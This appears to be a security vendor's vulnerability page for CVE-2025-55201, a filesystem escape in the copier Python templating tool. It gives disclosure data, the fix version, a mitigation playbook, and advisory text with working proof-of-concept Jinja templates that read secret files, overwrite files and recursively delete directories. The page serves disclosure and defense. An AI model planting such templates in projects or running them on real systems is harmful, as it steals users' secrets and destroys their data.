Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2025-55201 — copier

Fix: copier-org/copier@3feea3b

CVE-2025-55201 is a Path Traversal vulnerability in copier. A fix is available for copier — see the affected versions and patch details below.

Copier safe template has arbitrary filesystem read/write access

Also known asGHSA-3xw7-v6cj-5q8hPYSEC-2026-1271
Published
Aug 18, 2025
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-55201.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs18th percentile — riskier than 18% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐍copier

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Copier's current security model shall restrict filesystem access through Jinja:

  • Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
  • Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Read known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
    uvx copier copy src/ dst/
    cat dst/stolen-secret.txt
    
  • Read unknown file(s) via globbing:

    mkdir secrets/
    echo "s3cr3t #1" > secrets/secret1.txt
    echo "s3cr3t #2" > secrets/secret2.txt
    mkdir src/
    cat <<'EOF' > src/stolen-secrets.txt.jinja
    stolen secrets:
    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
    {% for f in parent.glob('*.txt') %}
    {{ f }}: {{ f.read_text('utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat dst/stolen-secrets.txt
    

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

  • Overwrite known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Overwrite unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.write_text('OVERWRITTEN', 'utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Delete unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.unlink() }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Delete unknown files and directories via tree walking:

    mkdir data
    mkdir data/a
    mkdir data/a/b
    echo "foo" > data/foo.txt
    echo "bar" > data/a/bar.txt
    echo "baz" > data/a/b/baz.txt
    tree data/
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
    {% for root, dirs, files in parent.walk(top_down=False) %}
    {% for name in files %}
    {{ (root / name).unlink() }}
    {% endfor %}
    {% for name in dirs %}
    {{ (root / name).rmdir() }}
    {% endfor %}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    tree data/
    

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIcopierall versions9.9.1pip install --upgrade 'copier==9.9.1'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for copier, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update copier to 9.9.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-55201 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-55201 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-55201. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact Copier's current security model shall restrict filesystem access through Jinja: - Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case. - Files are written in the destination directory according to their counterparts in the template. Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--tr
O3 Security · Impact-Aware SCA

Is CVE-2025-55201 in your dependencies?

O3 Security finds CVE-2025-55201 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2025-55201: copier | O3 Security